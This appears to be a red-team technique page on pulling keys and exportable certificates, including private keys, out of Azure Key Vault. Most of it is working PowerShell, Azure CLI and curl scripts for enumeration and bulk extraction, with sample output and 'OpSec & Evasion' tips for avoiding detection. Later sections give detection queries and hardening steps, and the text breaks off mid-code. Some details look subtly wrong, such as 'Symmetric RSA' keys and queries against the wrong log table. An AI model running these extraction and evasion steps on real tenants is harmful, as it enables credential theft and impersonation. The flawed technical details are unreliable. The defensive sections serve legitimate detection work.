| Attribute | Details |
|---|---|
| Technique ID | CA-UNSC-009 |
| MITRE ATT&CK v18.1 | T1552.004 - Unsecured Credentials: Private Keys |
| Tactic | Credential Access |
| Platforms | Entra ID (Azure Cloud) |
| Severity | Critical |
| CVE | N/A (Note: CVE-2023-28432 is MinIO, not Azure KV. This technique exploits RBAC/Access Policy design behaviors documented Dec 2024 by Datadog) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-06 |
| Affected Versions | All Azure Key Vault deployments (cloud-agnostic), PowerShell 5.0+, Azure CLI 2.0+ |
| Patched In | N/A - Design behavior, not a patch-able vulnerability. Microsoft updated documentation (Oct 31, 2024) advising RBAC over Access Policies |
| Author | SERVTEP – Artur Pchelnikau |
Note: Sections 6 (Atomic Red Team), 9 (Sysmon Detection), and 12 (Microsoft Defender for Cloud specific alerts) not included because: (1) No specific Atomic test exists for Azure Key Vault key extraction (T1552.004 is local-certificate focused), (2) Sysmon does not monitor cloud activity, (3) MDC alerts are covered in the detection section via Azure Monitor and Sentinel. All section numbers have been dynamically renumbered based on applicability.
Concept: Azure Key Vault stores cryptographic keys, certificates, and secrets. An attacker with insufficient RBAC roles (e.g., Key Vault Contributor, Owner on subscription) or exploiting misconfigured Access Policies can extract the full value of keys and certificates, including private keys for exportable certificates. This is particularly powerful in hybrid environments where certificates are used for federation, code signing, or API authentication. The extraction targets the data plane of Key Vault—the actual key/certificate material—distinct from the management plane (vault settings). Private key extraction enables attackers to impersonate services, forge tokens, sign malicious code, or establish persistence via certificate-based authentication.
Attack Surface: Azure Key Vault data plane (REST API endpoints: /keys/{key-name}, /certificates/{cert-name}), RBAC role assignments, Access Policies configurations, Managed Identities with excessive permissions.
Business Impact: Complete credential compromise and lateral movement. An attacker who extracts a certificate’s private key can impersonate any service that authenticates using that certificate (e.g., federated single sign-on, mutual TLS, code signing). This bypasses MFA, conditional access policies, and administrative controls. In hybrid environments, a stolen federation certificate enables cross-forest, cross-tenant attacks. Stolen API keys enable unauthorized API calls, data exfiltration, and resource manipulation.
Technical Context: Extraction is typically immediate (seconds) once authorization is granted. Detection likelihood is Medium-to-High if logging is enabled; attackers must disable or obfuscate audit logs (separate post-exploitation activity). The attack is reversible only if backups exist; typically, stolen keys cannot be “uncompromised.”
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 2.1.1 - 2.1.5 | Ensure subscriptions have RBAC roles assigned; avoid excessive permissions |
| CIS Benchmark | 2.2.1 - 2.2.4 | Ensure Key Vault access policies are restricted; use RBAC instead |
| DISA STIG | SI-7 | Information System Monitoring for unauthorized access to cryptographic keys |
| NIST 800-53 | AC-3 | Access Enforcement - controls to prevent unauthorized access to keys |
| NIST 800-53 | AC-6 | Least Privilege - ensuring users have minimum necessary permissions |
| NIST 800-53 | AU-2 | Audit Events - monitoring access to cryptographic material |
| GDPR | Art. 32 | Security of Processing - technical measures to protect personal data and encryption keys |
| DORA | Art. 9 | Protection and Prevention - safeguarding of ICT assets and cryptographic keys |
| NIS2 | Art. 21 | Cyber Risk Management Measures - access control and cryptographic key management |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights - restricting access to keys/certificates |
| ISO 27005 | 8.2.1 | Risk Assessment - credential compromise as a key risk scenario |
Required Privileges:
Microsoft.KeyVault/vaults/keys/read RBAC permission (e.g., Key Vault Crypto User, Key Vault Administrator, or custom role with this permission)Microsoft.KeyVault/vaults/certificates/read permission AND certificate must be marked as exportable: true in its policyMicrosoft.KeyVault/vaults/accessPolicies/write permission (e.g., Key Vault Contributor role when using legacy Access Policy model)Required Access:
https://{vault-name}.vault.azure.net (Azure public endpoint) or private endpoint if configuredSupported Versions:
https://{vault-name}.vault.azure.net/keys/{key-name}?api-version=7.4)Tools:
Command 1: Identify which RBAC roles the current user/service principal has:
# Check current context
$context = Get-AzContext
Write-Host "Current Account: $($context.Account.Id)"
Write-Host "Subscription: $($context.Subscription.Name)"
# List all role assignments for the user on the subscription
$roleAssignments = Get-AzRoleAssignment -SignInName $context.Account.Id
foreach ($role in $roleAssignments) {
Write-Host "Role: $($role.RoleDefinitionName) - Scope: $($role.Scope)"
}
What to Look For:
*/read permissions on Key Vault (e.g., Key Vault Reader, Contributor, Owner)Microsoft.KeyVault/*)Command 2: Enumerate Key Vaults in the subscription:
# List all Key Vaults
$keyVaults = Get-AzKeyVault
foreach ($vault in $keyVaults) {
Write-Host "Vault: $($vault.VaultName) | Resource Group: $($vault.ResourceGroupName) | Location: $($vault.Location)"
}
# For a specific vault, check if RBAC is enabled vs Access Policies
$vault = Get-AzKeyVault -VaultName "target-vault-name" -ResourceGroupName "target-rg"
Write-Host "RBAC Enabled: $($vault.EnableRbacAuthorization)"
Write-Host "Access Policies Enabled: $(($vault.AccessPolicies | Measure-Object).Count)"
What to Look For:
EnableRbacAuthorization = false (using legacy Access Policies—vulnerable to escalation)EnableRbacAuthorization = true (using RBAC—check role assignments)Command 3: Check if user can list keys/certificates:
# Try to list keys in the target vault
try {
$keys = Get-AzKeyVaultKey -VaultName "target-vault-name" -ErrorAction Stop
Write-Host "✓ Can list keys: $(($keys | Measure-Object).Count) keys found"
foreach ($key in $keys) {
Write-Host " - $($key.Name) (Type: $($key.KeyType), Enabled: $($key.Enabled))"
}
} catch {
Write-Host "✗ Cannot list keys: $($_.Exception.Message)"
}
# Try to list certificates
try {
$certs = Get-AzKeyVaultCertificate -VaultName "target-vault-name" -ErrorAction Stop
Write-Host "✓ Can list certificates: $(($certs | Measure-Object).Count) certs found"
foreach ($cert in $certs) {
Write-Host " - $($cert.Name) (Expires: $($cert.Expires))"
}
} catch {
Write-Host "✗ Cannot list certificates: $($_.Exception.Message)"
}
What to Look For:
Command 4: Check Access Policies on vault (if using legacy model):
# Get vault details including access policies
$vault = Get-AzKeyVault -VaultName "target-vault-name" -ResourceGroupName "target-rg"
Write-Host "Access Policies:"
foreach ($policy in $vault.AccessPolicies) {
Write-Host "ObjectId: $($policy.ObjectId) | TenantId: $($policy.TenantId)"
Write-Host " Permissions: Keys [$($policy.PermissionsToKeys -join ', ')], Secrets [$($policy.PermissionsToSecrets -join ', ')], Certs [$($policy.PermissionsToCertificates -join ', ')], Storage [$($policy.PermissionsToStorage -join ', ')]"
}
What to Look For:
["get","list","set","delete","backup","restore","recover","purge"])Supported Versions: Azure SDK v4.0+, all current versions
Objective: Establish Azure authentication context where we have permissions to access the Key Vault.
Prerequisites: Must have existing compromised token, service principal credentials, or user credentials with RBAC permissions to the Key Vault.
Command (User-based authentication):
# Connect using user credentials
Connect-AzAccount -Tenant "tenant-id" -Subscription "subscription-id"
# Or connect using service principal
$credential = New-Object System.Management.Automation.PSCredential(
"service-principal-id",
(ConvertTo-SecureString "service-principal-secret" -AsPlainText -Force)
)
Connect-AzAccount -ServicePrincipal -Credential $credential -Tenant "tenant-id"
# Or connect using Managed Identity (if running on Azure VM/Function/etc)
Connect-AzAccount -Identity
Expected Output:
Account SubscriptionName TenantId Environment
------- ---------------- -------- -----------
user@contoso.com Production 12345678-abcd-efgh-ijkl-987654321... AzureCloud
What This Means:
OpSec & Evasion:
-Environment AzureChinaCloud or -Environment AzureUSGovernment if targeting GovCloud (uncommon, reduces alerts)Set-PSReadlineKeyHandler -Key Tab -Function None (basic obfuscation)Troubleshooting:
Objective: Discover which Key Vaults are accessible and contain keys/certificates of value.
Command:
# List all Key Vaults in the subscription
$vaults = Get-AzKeyVault
if ($vaults.Count -eq 0) {
Write-Host "No Key Vaults found in this subscription."
exit
}
Write-Host "[*] Found $($vaults.Count) Key Vault(s):"
foreach ($vault in $vaults) {
Write-Host "`n Vault: $($vault.VaultName)"
Write-Host " Resource Group: $($vault.ResourceGroupName)"
Write-Host " Location: $($vault.Location)"
Write-Host " RBAC Enabled: $($vault.EnableRbacAuthorization)"
Write-Host " Access Policies: $(($vault.AccessPolicies | Measure-Object).Count)"
}
# For each vault, try to list keys
foreach ($vault in $vaults) {
try {
$keys = Get-AzKeyVaultKey -VaultName $vault.VaultName -ErrorAction Stop
Write-Host "`n [✓] Vault '$($vault.VaultName)' contains $(($keys | Measure-Object).Count) key(s)"
} catch {
Write-Host "`n [✗] Cannot access keys in '$($vault.VaultName)': $($_.Exception.Message)"
}
}
Expected Output:
[*] Found 3 Key Vault(s):
Vault: prod-vault-001
Resource Group: prod-resources
Location: eastus
RBAC Enabled: True
Access Policies: 0
[✓] Vault 'prod-vault-001' contains 5 key(s)
Vault: dev-vault-002
Resource Group: dev-resources
Location: westus
RBAC Enabled: False
Access Policies: 2
[✓] Vault 'dev-vault-002' contains 3 key(s)
What This Means:
[✓]: You have at least Key Vault Reader or Crypto User role[✗]: You lack read permissions for this vaultOpSec & Evasion:
$keys = Get-AzKeyVaultKey -VaultName ... | ConvertTo-JsonObjective: Retrieve the private key or public key from a Key Vault key object.
Command (Extract specific key):
$vaultName = "target-vault-name"
$keyName = "application-signing-key" # Identify high-value keys (federation, code-signing, API auth)
# Get the key from Key Vault
$key = Get-AzKeyVaultKey -VaultName $vaultName -Name $keyName
Write-Host "Key Name: $($key.Name)"
Write-Host "Key Type: $($key.KeyType)"
Write-Host "Key Size: $($key.Key.KeySize) bits"
Write-Host "Enabled: $($key.Enabled)"
Write-Host "Expires: $($key.Expires)"
Write-Host "Created: $($key.Created)"
# Extract the key material (public key is always available; private key depends on key type)
$keyMaterial = $key.Key
Write-Host "`nKey Material:`n$keyMaterial"
# For RSA keys, extract components
if ($key.KeyType -like "*RSA*") {
Write-Host "`nRSA Key Components:"
Write-Host " Modulus (N): $([Convert]::ToBase64String($keyMaterial.N))"
Write-Host " Exponent (E): $([Convert]::ToBase64String($keyMaterial.E))"
# Private key components (D, DP, DQ, QI) are NOT returned by Get-AzKeyVaultKey
# They remain in the HSM/managed by Azure
}
# For EC keys, extract the curve and public coordinates
if ($key.KeyType -like "*EC*") {
Write-Host "`nEC Key Components:"
Write-Host " Curve: $($keyMaterial.CurveName)"
Write-Host " X: $([Convert]::ToBase64String($keyMaterial.X))"
Write-Host " Y: $([Convert]::ToBase64String($keyMaterial.Y))"
}
Expected Output (RSA example):
Key Name: application-signing-key
Key Type: RSA
Key Size: 2048 bits
Enabled: True
Expires: 2026-12-31 23:59:59
Created: 2023-01-15 10:30:45
Key Material:
Microsoft.Azure.Management.KeyVault.Models.JsonWebKey
RSA Key Components:
Modulus (N): xjlCRBFk0EGqVJ7k9VFCqVZbQ3JrKpL...
Exponent (E): AQAB
What This Means:
Note on Private Key Extraction: Azure Key Vault separates key management from key extraction intentionally. For symmetric keys (AES, Symmetric RSA) and exportable certificates, the full private material can be extracted. See Step 4 for certificates.
OpSec & Evasion:
$extractedKey = $key.Key) rather than displaying to console$key | ConvertTo-Json -Depth 10 > key_backup.jsonObjective: For certificates marked as exportable, extract the full certificate including private key in PFX/PEM format.
Prerequisite: Certificate must have been created with exportable: true in its certificate policy. If certificate is non-exportable (e.g., HSM-backed certificates), private key cannot be extracted.
Command (Check exportable status and extract):
$vaultName = "target-vault-name"
$certName = "api-authentication-cert"
# Get certificate details
$cert = Get-AzKeyVaultCertificate -VaultName $vaultName -Name $certName
Write-Host "Certificate: $($cert.Name)"
Write-Host "Subject: $($cert.Certificate.Subject)"
Write-Host "Issuer: $($cert.Certificate.Issuer)"
Write-Host "Thumbprint: $($cert.Certificate.Thumbprint)"
Write-Host "Expires: $($cert.Expires)"
# Check if certificate is exportable by examining the certificate policy
# Note: Get-AzKeyVaultCertificate returns the public cert; to check exportable status,
# we must fetch the secret associated with the cert (where PFX is stored)
try {
# The certificate is also stored as a secret with the same name
$certSecret = Get-AzKeyVaultSecret -VaultName $vaultName -Name $certName -ErrorAction Stop
Write-Host "`n[✓] Certificate is stored as a secret (likely exportable)"
# Get the secret value (this is the PFX in base64)
$certSecretValue = $certSecret.SecretValue
$certBytes = [System.Convert]::FromBase64String(
([System.Runtime.InteropServices.Marshal]::PtrToStringAuto(
[System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($certSecretValue)
))
)
# Save to disk as PFX file
$outputPath = "$env:TEMP\extracted_cert.pfx"
[System.IO.File]::WriteAllBytes($outputPath, $certBytes)
Write-Host "`n[✓] Certificate extracted and saved to: $outputPath"
# Load the certificate to extract metadata and private key
$pfxCert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2(
$certBytes,
"", # No password (Key Vault exports without password)
[System.Security.Cryptography.X509Certificates.X509KeyStorageFlags]::Exportable
)
Write-Host "`nCertificate Details:"
Write-Host " Subject: $($pfxCert.Subject)"
Write-Host " Issuer: $($pfxCert.Issuer)"
Write-Host " Thumbprint: $($pfxCert.Thumbprint)"
Write-Host " Valid From: $($pfxCert.NotBefore)"
Write-Host " Valid To: $($pfxCert.NotAfter)"
Write-Host " Has Private Key: $($pfxCert.HasPrivateKey)"
if ($pfxCert.HasPrivateKey) {
Write-Host "`n[!] CRITICAL: Private key is available!"
# Export private key to PEM format
$rsaKey = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($pfxCert)
$privateKeyPem = $rsaKey.ExportRSAPrivateKeyPem()
$privateKeyPath = "$env:TEMP\extracted_cert_privkey.pem"
[System.IO.File]::WriteAllText($privateKeyPath, $privateKeyPem)
Write-Host "[✓] Private key extracted and saved to: $privateKeyPath"
}
} catch {
Write-Host "`n[✗] Cannot extract certificate as secret: $($_.Exception.Message)"
Write-Host " Possible reason: Certificate is non-exportable or access denied to secrets"
}
Expected Output (if exportable):
Certificate: api-authentication-cert
Subject: CN=api.contoso.com, O=Contoso, C=US
Issuer: CN=Let's Encrypt Authority X3, O=Let's Encrypt
Thumbprint: 3F4D5E6A7B8C9D0E1F2A3B4C5D6E7F8A
Expires: 2027-06-15 23:59:59
[✓] Certificate is stored as a secret (likely exportable)
[✓] Certificate extracted and saved to: C:\Users\attacker\AppData\Local\Temp\extracted_cert.pfx
Certificate Details:
Subject: CN=api.contoso.com, O=Contoso, C=US
Issuer: CN=Let's Encrypt Authority X3, O=Let's Encrypt
Thumbprint: 3F4D5E6A7B8C9D0E1F2A3B4C5D6E7F8A
Valid From: 06/16/2024 00:00:00
Valid To: 09/14/2027 23:59:59
Has Private Key: True
[!] CRITICAL: Private key is available!
[✓] Private key extracted and saved to: C:\Users\attacker\AppData\Local\Temp\extracted_cert_privkey.pem
What This Means:
If non-exportable:
[✗] Cannot extract certificate as secret: Operation failed with status code 'Forbidden'.
Possible reason: Certificate is non-exportable or access denied to secrets
This means the certificate was created with exportable: false, and the private key is locked in the Azure Key Vault HSM.
OpSec & Evasion:
$env:TEMP is obvious; use custom temp paths or in-memory handlingObjective: Extract all keys and exportable certificates from a Key Vault in one operation.
Warning: This generates many audit log entries and is highly detectable.
Command:
$vaultName = "target-vault-name"
$outputDir = "C:\extracted_secrets"
New-Item -ItemType Directory -Path $outputDir -Force | Out-Null
Write-Host "[*] Starting bulk extraction from vault: $vaultName"
# Extract all keys
$keys = Get-AzKeyVaultKey -VaultName $vaultName
Write-Host "[*] Found $($keys.Count) keys"
$keysExported = @()
foreach ($key in $keys) {
try {
$keyData = Get-AzKeyVaultKey -VaultName $vaultName -Name $key.Name
$keysExported += @{
Name = $key.Name
Type = $key.KeyType
Created = $key.Created
Expires = $key.Expires
Material = ($keyData.Key | ConvertTo-Json)
}
Write-Host " [✓] $($key.Name)"
} catch {
Write-Host " [✗] $($key.Name): $($_.Exception.Message)"
}
}
# Export keys to JSON
$keysExported | ConvertTo-Json | Out-File "$outputDir\keys.json"
# Extract all certificates
$certs = Get-AzKeyVaultCertificate -VaultName $vaultName
Write-Host "[*] Found $($certs.Count) certificates"
$certsExported = @()
foreach ($cert in $certs) {
try {
$certSecret = Get-AzKeyVaultSecret -VaultName $vaultName -Name $cert.Name
$certBytes = [System.Convert]::FromBase64String(
([System.Runtime.InteropServices.Marshal]::PtrToStringAuto(
[System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($certSecret.SecretValue)
))
)
[System.IO.File]::WriteAllBytes("$outputDir\$($cert.Name).pfx", $certBytes)
$pfxCert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2($certBytes, "", 0)
$certsExported += @{
Name = $cert.Name
Subject = $pfxCert.Subject
Expires = $pfxCert.NotAfter
HasPrivateKey = $pfxCert.HasPrivateKey
}
Write-Host " [✓] $($cert.Name) (HasPrivateKey: $($pfxCert.HasPrivateKey))"
} catch {
Write-Host " [✗] $($cert.Name): $($_.Exception.Message)"
}
}
$certsExported | ConvertTo-Json | Out-File "$outputDir\certificates.json"
Write-Host "`n[✓] Extraction complete. Files saved to: $outputDir"
Expected Output:
[*] Starting bulk extraction from vault: target-vault-name
[*] Found 5 keys
[✓] api-key-001
[✓] encryption-key-002
[✓] signing-key-003
[✓] federation-key-004
[✓] backup-key-005
[*] Found 3 certificates
[✓] app-cert-prod (HasPrivateKey: True)
[✓] tls-cert-api (HasPrivateKey: True)
[✓] code-signing-cert (HasPrivateKey: False)
[✓] Extraction complete. Files saved to: C:\extracted_secrets
OpSec & Evasion:
Supported Versions: Azure CLI 2.0+, all current versions
# Login to Azure
az login
# Or login using service principal
az login --service-principal -u CLIENT_ID -p CLIENT_SECRET --tenant TENANT_ID
# Or use Managed Identity (if on Azure VM/Function/etc)
az login --identity
# Set subscription
az account set --subscription "subscription-id"
#!/bin/bash
VAULT_NAME="target-vault-name"
# List all keys
echo "[*] Listing keys in vault: $VAULT_NAME"
az keyvault key list --vault-name $VAULT_NAME --query "[].name" -o tsv
# Extract a specific key
KEY_NAME="application-signing-key"
echo "[*] Extracting key: $KEY_NAME"
# Get key metadata
az keyvault key show --vault-name $VAULT_NAME --name $KEY_NAME --query "{keyType: attributes.keyType, created: attributes.created, expires: attributes.expires}" -o json
# Export key material (limited—public key only for HSM keys)
KEY_VERSION=$(az keyvault key list-versions --vault-name $VAULT_NAME --name $KEY_NAME --query "[0].version" -o tsv)
echo "[*] Key version: $KEY_VERSION"
# Download full key data
az keyvault key download --vault-name $VAULT_NAME --name $KEY_NAME --file key_export.json
#!/bin/bash
VAULT_NAME="target-vault-name"
CERT_NAME="api-authentication-cert"
OUTPUT_DIR="/tmp/extracted_certs"
mkdir -p $OUTPUT_DIR
# List all certificates
echo "[*] Listing certificates in vault: $VAULT_NAME"
az keyvault certificate list --vault-name $VAULT_NAME --query "[].name" -o tsv
# Show certificate details
az keyvault certificate show --vault-name $VAULT_NAME --name $CERT_NAME --query "{subject: dn, expires: attributes.expires, created: attributes.created}" -o json
# Download certificate (PEM format—public key only)
az keyvault certificate download --vault-name $VAULT_NAME --name $CERT_NAME --file "$OUTPUT_DIR/${CERT_NAME}.pem"
# Try to download as PFX (if certificate is stored as secret and exportable)
echo "[*] Attempting to extract PFX with private key..."
az keyvault secret download --vault-name $VAULT_NAME --name $CERT_NAME --file "$OUTPUT_DIR/${CERT_NAME}.pfx"
if [ $? -eq 0 ]; then
echo "[✓] PFX extracted successfully (includes private key)"
else
echo "[✗] PFX extraction failed (certificate likely non-exportable)"
fi
echo "[✓] Certificate files saved to: $OUTPUT_DIR"
Expected Output:
[*] Listing keys in vault: target-vault-name
application-signing-key
encryption-key
federation-key
[*] Extracting key: application-signing-key
{
"keyType": "RSA",
"created": 1547726745,
"expires": 1735689600
}
[*] Key version: 1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b
[*] Listing certificates in vault: target-vault-name
api-authentication-cert
tls-cert-api
code-signing-cert
[*] Attempting to extract PFX with private key...
[✓] PFX extracted successfully (includes private key)
[✓] Certificate files saved to: /tmp/extracted_certs
Supported Versions: Azure Key Vault API 7.0+
This method allows direct HTTP calls without PowerShell/CLI tools (less detectable on endpoint if tools aren’t logging).
#!/bin/bash
TENANT_ID="your-tenant-id"
CLIENT_ID="your-client-id"
CLIENT_SECRET="your-client-secret"
# Request OAuth token
TOKEN_RESPONSE=$(curl -s -X POST \
"https://login.microsoftonline.com/${TENANT_ID}/oauth2/v2.0/token" \
-d "client_id=${CLIENT_ID}&scope=https://vault.azure.net/.default&client_secret=${CLIENT_SECRET}&grant_type=client_credentials")
ACCESS_TOKEN=$(echo $TOKEN_RESPONSE | jq -r '.access_token')
echo "[✓] Access Token: $(echo $ACCESS_TOKEN | cut -c1-30)..."
#!/bin/bash
VAULT_NAME="target-vault-name"
API_VERSION="7.4"
# List keys
echo "[*] Listing keys..."
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://${VAULT_NAME}.vault.azure.net/keys?api-version=${API_VERSION}" \
| jq '.value[] | {name: .id, enabled: .attributes.enabled}'
# Get specific key
KEY_NAME="application-signing-key"
echo "[*] Extracting key: $KEY_NAME"
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://${VAULT_NAME}.vault.azure.net/keys/${KEY_NAME}?api-version=${API_VERSION}" \
| jq '.key'
# Get certificate (public key only)
CERT_NAME="api-authentication-cert"
echo "[*] Extracting certificate: $CERT_NAME"
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://${VAULT_NAME}.vault.azure.net/certificates/${CERT_NAME}?api-version=${API_VERSION}" \
| jq '.'
# Get secret (if certificate is exportable, the PFX is stored as a secret with same name)
echo "[*] Attempting to extract certificate PFX as secret..."
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://${VAULT_NAME}.vault.azure.net/secrets/${CERT_NAME}?api-version=${API_VERSION}" \
| jq -r '.value' | base64 -d > "${CERT_NAME}.pfx"
Expected Output:
[*] Listing keys...
{
"name": "https://target-vault-name.vault.azure.net/keys/application-signing-key/1f2a3b4c5d6e7f8a9b0c1d2e3f",
"enabled": true
}
[*] Extracting key: application-signing-key
{
"kty": "RSA",
"n": "xjlCRBFk0EGqVJ7k9VFCqVZbQ3JrKpL...",
"e": "AQAB",
"key_ops": ["sign", "verify"],
"kid": "https://target-vault-name.vault.azure.net/keys/application-signing-key/1f2a3b4c"
}
[✓] PFX extracted successfully
OpSec & Evasion:
Network IOCs:
https://<vault-name>.vault.azure.net:443 (HTTPS, port 443)/keys/, /certificates/, /secrets/?api-version=7.0, ?api-version=7.4Azure-CLI/x.x.x, Azure-PowerShell/x.x.x, curl, or custom toolsCloud Audit Log IOCs:
KeyGet, KeyList, KeyCreate, CertificateGet, CertificateList, CertificateImport, SecretGet, SecretListMicrosoft.KeyVault/vaultsForensic Artifacts:
Azure Diagnostic Logs (AzureDiagnostics table in Log Analytics):
AuditEventKeyGet, CertificateGet, SecretGetFiles on Disk (if extraction to local filesystem):
extracted_cert.pfx - PFX certificate with private keyextracted_cert_privkey.pem - Exported private key in PEM formatkey_export.json - JSON representation of key materialC:\Users\<user>\AppData\Local\Temp\ or /tmp/Memory Artifacts (if using PowerShell):
$key, $cert, $ACCESS_TOKENQuery Configuration:
KQL Query:
AuditLogs
| where TimeGenerated > ago(1h)
| where OperationName in ("KeyGet", "KeyList", "CertificateGet", "CertificateList", "SecretGet", "SecretList")
| where Result == "Success"
| where Resources[0].resourceDisplayName contains "vault"
| summarize GetCount = dcountif(OperationName, OperationName startswith "Get"),
ListCount = dcountif(OperationName, OperationName startswith "List"),
DistinctOperations = dcount(OperationName),
DistinctResources = dcount(Resources[0].resourceDisplayName)
by InitiatedBy.user.userPrincipalName, bin(TimeGenerated, 5m)
| where GetCount + ListCount > 5 // Threshold: >5 operations in 5 minutes is suspicious
| extend AlertSeverity = iff(GetCount + ListCount > 10, "Critical", "High")
Manual Configuration Steps (Azure Portal):
Bulk Key Vault Key/Certificate RetrievalHigh5 minutes1 hourInitiatedBy.user.userPrincipalNameWhat This Detects:
KeyGet and CertificateGet operationsFalse Positive Analysis:
| where InitiatedBy.user.userPrincipalName !in ("backup-automation@contoso.com", "cert-rotation-svc@contoso.com")Query Configuration:
KQL Query:
AzureDiagnostics
| where TimeGenerated > ago(1d)
| where ResourceType == "VAULTS"
| where Category == "AuditEvent"
| where OperationName == "SecretGet" // SecretGet is used to retrieve certificate PFX
| where httpStatusCode_d == 200 // Success
| where identity_claim_oid_g != "" // Legitimate operations have an OID
| where Resource contains "certificate" or Resource matches regex ".*[A-Fa-f0-9]{8}$" // Typical cert naming
| extend ThreatLevel = iff(CallerIPAddress startswith "10." or CallerIPAddress startswith "172.16", "Low", "High")
| where ThreatLevel == "High" // Alert on external IPs
| project TimeGenerated, CallerIPAddress, identity_claim_oid_g, OperationName, Resource, ThreatLevel
What This Detects:
Query Configuration:
KQL Query:
AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName == "Add member to role"
| where TargetResources[0].displayName contains "Key Vault"
| where TargetResources[0].displayName contains "Administrator" or TargetResources[0].displayName contains "Officer"
| project TimeGenerated, OperationName, InitiatedBy.user.userPrincipalName,
AddedMember = TargetResources[1].userPrincipalName,
Role = TargetResources[0].displayName,
Resource = TargetResources[2].displayName
| where AddedMember != InitiatedBy.user.userPrincipalName // Exclude self-assignments
What This Detects:
Note: Key Vault is a cloud-native Azure service. Key extraction operations do not generate Windows Event Log entries on on-premises servers. However, if using Azure AD Connect or hybrid deployments with secrets synced to local systems, see CA-UNSC-003 (SYSVOL) or CA-UNSC-005 (gMSA) for local secrets dumping.
AzureDiagnostics
| where ResourceType == "VAULTS"
| where Category == "AuditEvent"
| where OperationName in ("KeyGet", "CertificateGet", "SecretGet")
| where resultSignature_s == "OK" // HTTP 200 Success
| where TimeGenerated > ago(7d)
| summarize AccessCount = count(),
FirstAccess = min(TimeGenerated),
LastAccess = max(TimeGenerated),
DistinctCallers = dcount(CallerIPAddress)
by Resource, identity_claim_oid_g
| where AccessCount > 100 // Abnormally high access count
| order by AccessCount desc
1. Enable RBAC authorization on all Key Vaults (disable legacy Access Policies)
Applies To: All Azure Key Vault deployments
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
$vaultName = "target-vault-name"
$resourceGroup = "target-resource-group"
# Get the Key Vault
$vault = Get-AzKeyVault -VaultName $vaultName -ResourceGroupName $resourceGroup
# Enable RBAC authorization
Update-AzKeyVault -VaultName $vaultName -ResourceGroupName $resourceGroup -EnableRbacAuthorizationForDataPlane $true
# Verify the change
$vault = Get-AzKeyVault -VaultName $vaultName -ResourceGroupName $resourceGroup
Write-Host "RBAC Enabled: $($vault.EnableRbacAuthorization)"
# Now assign RBAC roles (example: Key Vault Crypto User to a service principal)
$servicePrincipalId = "service-principal-object-id"
$keyVaultId = "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.KeyVault/vaults/{vaultName}"
New-AzRoleAssignment -ObjectId $servicePrincipalId -RoleDefinitionName "Key Vault Crypto User" -Scope $keyVaultId
Validation Command (Verify Fix):
$vault = Get-AzKeyVault -VaultName "target-vault-name"
if ($vault.EnableRbacAuthorization -eq $true) {
Write-Host "[✓] RBAC is enabled on the Key Vault"
} else {
Write-Host "[✗] RBAC is NOT enabled (still using Access Policies)"
}
Expected Output (If Secure):
[✓] RBAC is enabled on the Key Vault
2. Implement least privilege RBAC role assignments
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Remove excessive roles
$vaultName = "target-vault-name"
$resourceGroup = "target-resource-group"
$keyVaultId = "/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.KeyVault/vaults/{vaultName}"
# Get all role assignments on the Key Vault
$roleAssignments = Get-AzRoleAssignment -Scope $keyVaultId
# Remove Contributor roles (they allow escalation)
foreach ($assignment in $roleAssignments) {
if ($assignment.RoleDefinitionName -in @("Contributor", "Owner", "User Access Administrator")) {
Write-Host "Removing excessive role: $($assignment.RoleDefinitionName) for $($assignment.DisplayName)"
Remove-AzRoleAssignment -ObjectId $assignment.ObjectId -RoleDefinitionName $assignment.RoleDefinitionName -Scope $keyVaultId -Force
}
}
# Assign specific Key Vault roles instead
$servicePrincipalId = "service-principal-object-id"
# Option 1: Application only needs to read keys (decrypt/verify operations)
New-AzRoleAssignment -ObjectId $servicePrincipalId -RoleDefinitionName "Key Vault Crypto User" -Scope $keyVaultId
# Option 2: Application needs to read secrets
New-AzRoleAssignment -ObjectId $servicePrincipalId -RoleDefinitionName "Key Vault Secrets User" -Scope $keyVaultId
# Option 3: Administrator needs to manage keys
New-AzRoleAssignment -ObjectId $servicePrincipalId -RoleDefinitionName "Key Vault Administrator" -Scope $keyVaultId
3. Disable exportable certificates (if not needed for use case)
Manual Steps (Azure Portal):
Manual Steps (PowerShell - when creating new certificates):
$vaultName = "target-vault-name"
$policyJson = @{
key_props = @{
exportable = $false # Prevent private key export
kty = "RSA"
key_size = 2048
}
lifetime_actions = @(
@{
trigger = @{ lifetime_percentage = 80 }
action = @{ action_type = "AutoRenew" }
}
)
issuer = @{ name = "Self" }
attributes = @{ enabled = $true }
} | ConvertTo-Json
Add-AzKeyVaultCertificate -VaultName $vaultName -Name "non-exportable-cert" -CertificatePolicy $policyJson
4. Enable Key Vault diagnostic logging and send to Log Analytics
Manual Steps (Azure Portal):
KeyVault-Audit-LogsAuditEventSend to Log Analytics workspaceManual Steps (PowerShell):
$vaultName = "target-vault-name"
$resourceGroup = "target-resource-group"
$workspaceResourceId = "/subscriptions/{subscriptionId}/resourcegroups/{resourceGroup}/providers/microsoft.operationalinsights/workspaces/{workspaceName}"
$vault = Get-AzKeyVault -VaultName $vaultName -ResourceGroupName $resourceGroup
Set-AzDiagnosticSetting -ResourceId $vault.ResourceId `
-Name "KeyVault-Audit-Logs" `
-WorkspaceId $workspaceResourceId `
-Enabled $true `
-Category AuditEvent `
-RetentionEnabled $true `
-RetentionInDays 90
5. Implement Azure Policy to enforce RBAC on Key Vaults
Manual Steps (Azure Portal):
[Preview]: Key Vaults should use RBAC for authorizationDeny (prevents creation of Key Vaults with Access Policies)6. Restrict who can create/modify Key Vault role assignments
Manual Steps (PowerShell - create custom role with restrictions):
$customRole = @{
